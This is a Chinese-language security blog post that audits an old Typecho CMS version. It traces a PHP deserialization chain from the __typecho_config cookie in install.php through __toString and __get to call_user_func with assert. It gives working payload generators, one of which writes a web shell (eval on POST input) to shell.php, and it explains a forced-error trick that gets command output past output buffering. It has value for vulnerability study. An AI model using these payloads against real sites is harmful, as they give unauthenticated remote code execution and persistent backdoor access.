虽然自己也水了些CVE,但是并没有自己满意的、漂亮的漏洞利用链,今天呢主要是自己还没审出过反序列化漏洞,所以找了typecho老版本来审一下。

正文

在install.php第246行会反序列化操作

1
2
3
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
$type = explode('_', $config['adapter']);
$type = array_pop($type);

进Typecho_Cookie类看一下get方法

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return $value;
}

这里很显然是一个获取值的。

继续看一下怎么进入到这个反序列化,这里php夹杂着html代码,不太方便看,我简单处理一下

首先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

这里是判断是否已经安装的,一般其他cms的写法是只判断是否已经存在了lock文件,但是这里有个可控参数,也就是我们还能进入这个install.php页面。

继续往下走,可以直接进入反序列化操作

这里还需要魔术方法,可以参考我总结的另外一篇文章http://p0desta.com/2018/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93/

1
2
3
4
5
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

这里我首先跟的是$db->addServer,但是当我跟到Config.php第62到81行的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function setDefault($config, $replace = false)
{
if (empty($config)) {
return;
}
/** 初始化参数 */
if (is_string($config)) {
parse_str($config, $params);
} else {
$params = $config;
}
/** 设置默认参数 */
foreach ($params as $name => $value) {
if ($replace || !array_key_exists($name, $this->_currentConfig)) {
$this->_currentConfig[$name] = $value;
}
}
}

只发现到这里如果类当做数组遍历的时候会触发cureent方法,但是我全局搜current方法并没有找到可以利用的地方。

然后继续跟一下

1
$db = new Typecho_Db($config['adapter'], $config['prefix']);

跟到Db.php第114行到135行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}

危险的地方在于

1
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

因为$adapterName方法是可控的,被当做字符串拼接了,那么就会触发toString方法,简化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class p0desta{
function __toString(){
echo "p0desta";
return "p0desta";
}
}
class test{
private $t;
function __construct($s1){
$this->t = $s1;
$s1 = "xxx".$s1;
}
}
$config = new p0desta();
$t2 = new test($config);
output:p0desta

那么全局搜一下toString找一下可以利用的地方

找到这个跟进去,这里看Feed.php第290行

1
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

读取不可访问属性的值时,__get() 会被调用,那么只要item[‘author’]我们可控,那么就可以出发__get()魔术方法。

通过全局搜素__get()跟进/var/Typecho/Request.php,267行

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

继续看get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

接着调用了_applyFilter方法,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}

call_user_func($filter, $value)看到这里,我们关心的事情就是怎么构造去触发任意代码执行了。

到这里我们来整理下攻击链

1
install.php->反序列化操作->跟进Db.php->触发toString魔术方法->找到Feed.php-> 触发get魔术方法->找到/var/Typecho/Request.php->调用call_user_func

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Typecho_Feed
{
private $_type;
private $_items = array();
public function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items[] = array(
"author"=>new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'file_put_contents(\'shell.php\', \'<?php eval($_POST[1]); ?>\')';
$this->_filter[0] = "assert";
}
}
$p0desta = array(
"adapter"=>new Typecho_Feed,
"prefix"=>"typecho_"
);
var_dump(base64_encode(serialize($p0desta)));

一开始我直接构造getshell,并没有遇到什么问题,但是如果想讲执行结果输出出来就会遇到问题,问题产生的原因呢在于

install.php第54行ob_start();

看一下手册

什么意思呢,这里我写个小demo来解释一下

1
2
3
4
5
<?php
ob_start();
echo "1";
ob_end_clean();

这个执行的话是不会有输出的,ob_start()激活了缓冲,输出结果会被写入到缓冲区,但是如果执行了ob_end_clean函数就会把缓冲区的内容丢弃掉,那么也就没有输出了。

在Common.php第225行

1
set_exception_handler(array('Typecho_Common', 'exceptionHandle'));

设置了用户自定义的异常处理函数,当存在未捕获的异常时会调用,看一下定义测函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function exceptionHandle(Exception $exception)
{
@ob_end_clean();
if (defined('__TYPECHO_DEBUG__')) {
echo '<h1>' . $exception->getMessage() . '</h1>';
echo nl2br($exception->__toString());
} else {
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}
exit;
}

@ob_end_clean();显然,它清理了缓冲区。

这里因为payload使我们构造好带进去的,很难做到不触发异常,那么我们有什么办法来绕过呢

这里我想到的是让它执行完我们的命令之后引发个报错,看一下报错类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Fatal Error:致命错误(脚本终止运行)
E_ERROR // 致命的运行错误,错误无法恢复,暂停执行脚本
E_CORE_ERROR // PHP启动时初始化过程中的致命错误
E_COMPILE_ERROR // 编译时致命性错,就像由Zend脚本引擎生成了一个E_ERROR
E_USER_ERROR // 自定义错误消息。像用PHP函数trigger_error(错误类型设置为:E_USER_ERROR)
Parse Error:编译时解析错误,语法错误(脚本终止运行)
E_PARSE //编译时的语法解析错误
Warning Error:警告错误(仅给出提示信息,脚本不终止运行)
E_WARNING // 运行时警告 (非致命错误)。
E_CORE_WARNING // PHP初始化启动过程中发生的警告 (非致命错误) 。
E_COMPILE_WARNING // 编译警告
E_USER_WARNING // 用户产生的警告信息
Notice Error:通知错误(仅给出通知信息,脚本不终止运行)
E_NOTICE // 运行时通知。表示脚本遇到可能会表现为错误的情况.
E_USER_NOTICE // 用户产生的通知信息。

写个demo解释一下

1
2
3
4
5
6
7
<?php
class a{
public $c;
}
$t = new a();
echo $t['aaa'];

看Feed.php第292-296行

1
2
3
4
5
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
}
}

那么我们就可以让其停止执行,这样的话就不会执行到ob_end_clean函数了。

修改payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Typecho_Feed
{
private $_type;
private $_items = array();
public function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items[] = array(
"author"=>new Typecho_Request(),
"category"=>array(new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo();';
$this->_filter[] = "assert";
}
}
$p0desta = array(
"adapter"=>new Typecho_Feed,
"prefix"=>"typecho_"
);
echo(base64_encode(serialize($p0desta)));

总结

总的利用链还是非常有意思的

1
install.php->反序列化操作->跟进Db.php->触发toString魔术方法->找到Feed.php-> 触发get魔术方法->找到/var/Typecho/Request.php->调用call_user_func

有趣的攻击链总能引起研究的兴趣。